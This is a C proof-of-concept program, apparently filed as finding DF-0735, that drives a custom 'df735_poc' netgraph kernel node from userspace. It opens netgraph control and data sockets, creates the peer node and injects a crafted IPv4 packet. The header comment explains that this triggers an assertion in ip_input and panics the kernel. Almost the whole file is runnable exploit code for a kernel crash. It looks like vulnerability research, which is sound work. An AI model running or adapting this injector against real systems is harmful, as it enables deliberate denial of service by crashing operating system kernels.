DF-0735 / ng_df735_inject.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 | /* * ng_df735_inject.c - userspace injector to drive the ng_df735_poc netgraph * node from the command line (root only). * * 1. Opens a PF_NETGRAPH control socket (creates a new ng_socket node). * 2. Issues NGM_MKPEER to instantiate a df735_poc peer connected to our * hook "dfh" via the peer's hook "hook1". * 3. Opens a PF_NETGRAPH data socket, binds it to the same ng_socket node, * and writes a minimal IPv4 packet. The data flows out our "dfh" hook * -> df735_poc.hook1. NG_HOOK_FORCE_QUEUE (set in df735_connect) queues * the item asynchronously to the netgraph worker thread. * 4. The netgraph worker thread (ngthread, created at ng_base.c:2787-2789) * dequeues the item and calls ng_df735_poc_rcvdata, which (mirroring * ng_ipfw.c:248) calls ip_input(m) directly. ASSERT_NETISR_NCPUS at * ip_input.c:460 fires -> panic. * * Usage: ./ng_df735_inject (as root, after kldload ng_socket ng_df735_poc) */ #include <sys/types.h> #include <sys/socket.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <netgraph7/ng_message.h> #ifndef PF_NETGRAPH #define PF_NETGRAPH 32 #endif struct sockaddr_ng { u_char sg_len; u_char sg_family; char sg_data[64]; }; /* NGM_MKPEER payload: ourhook + type + peerhook */ struct mkpeer_args { char ourhook[NG_HOOKSIZ]; char type[NG_TYPESIZ]; char peerhook[NG_HOOKSIZ]; }; int main(int argc, char **argv) { int cs, ds; struct { struct ng_mesg ms; struct mkpeer_args mk; } msgbuf; struct sockaddr_ng sg; char pkt[] = { 0x45, 0x00, 0x00, 0x1c, 0x12, 0x34, 0x00, 0x00, 0x40, 0x01, 0x00, 0x00, 0x7f, 0x00, 0x00, 0x01, 0x7f, 0x00, 0x00, 0x01, 0x08, 0x00, 0xab, 0xcd, 0x00, 0x01, 0x00, 0x01 }; ssize_t n; fprintf(stderr, "[+] opening PF_NETGRAPH control socket\n"); cs = socket(PF_NETGRAPH, SOCK_DGRAM, 0); if (cs < 0) { perror("socket(PF_NETGRAPH)"); return 1; } /* Name our control node "df735ctl" by binding. */ memset(&sg, 0, sizeof(sg)); sg.sg_len = 4 + strlen("df735ctl") + 1; sg.sg_family = PF_NETGRAPH; strcpy(sg.sg_data, "df735ctl"); if (bind(cs, (struct sockaddr*)&sg, sg.sg_len) < 0) { perror("bind (continuing)"); } /* Issue NGM_MKPEER to "." (our own node): create df735_poc peer. */ memset(&msgbuf, 0, sizeof(msgbuf)); msgbuf.ms.header.version = NG_VERSION; msgbuf.ms.header.typecookie = NGM_GENERIC_COOKIE; msgbuf.ms.header.cmd = NGM_MKPEER; msgbuf.ms.header.flags = 0; msgbuf.ms.header.arglen = sizeof(msgbuf.mk); strcpy(msgbuf.mk.ourhook, "dfh"); strcpy(msgbuf.mk.type, "df735_poc"); strcpy(msgbuf.mk.peerhook, "hook1"); memset(&sg, 0, sizeof(sg)); sg.sg_len = 4 + 2; /* "." + NUL */ sg.sg_family = PF_NETGRAPH; sg.sg_data[0] = '.'; sg.sg_data[1] = '\0'; n = sendto(cs, &msgbuf, sizeof(msgbuf), 0, (struct sockaddr*)&sg, sg.sg_len); if (n < 0) { perror("sendto NGM_MKPEER"); fprintf(stderr, "[!] mkpeer failed -- df735_poc not loaded?\n"); } else { fprintf(stderr, "[+] NGM_MKPEER sent (%zd bytes)\n", n); } /* Open a data socket bound to the same control node and push bytes. */ fprintf(stderr, "[+] opening PF_NETGRAPH data socket\n"); ds = socket(PF_NETGRAPH, SOCK_DGRAM, 0); if (ds < 0) { perror("socket data"); return 1; } /* For ng_socket, the data socket must be associated with the same ng * node as the control socket. Use connect() with the node name. */ memset(&sg, 0, sizeof(sg)); sg.sg_len = 4 + strlen("df735ctl") + 1; sg.sg_family = PF_NETGRAPH; strcpy(sg.sg_data, "df735ctl"); if (connect(ds, (struct sockaddr*)&sg, sg.sg_len) < 0) { perror("connect data socket"); } fprintf(stderr, "[+] writing %zu-byte IPv4 packet through hook dfh\n", sizeof(pkt)); n = write(ds, pkt, sizeof(pkt)); if (n < 0) { perror("write"); } else { fprintf(stderr, "[+] wrote %zd bytes -- if df735_poc calls ip_input, kernel panics\n", n); } sleep(2); fprintf(stderr, "[!] kernel still up -- panic did not fire\n"); return 0; } |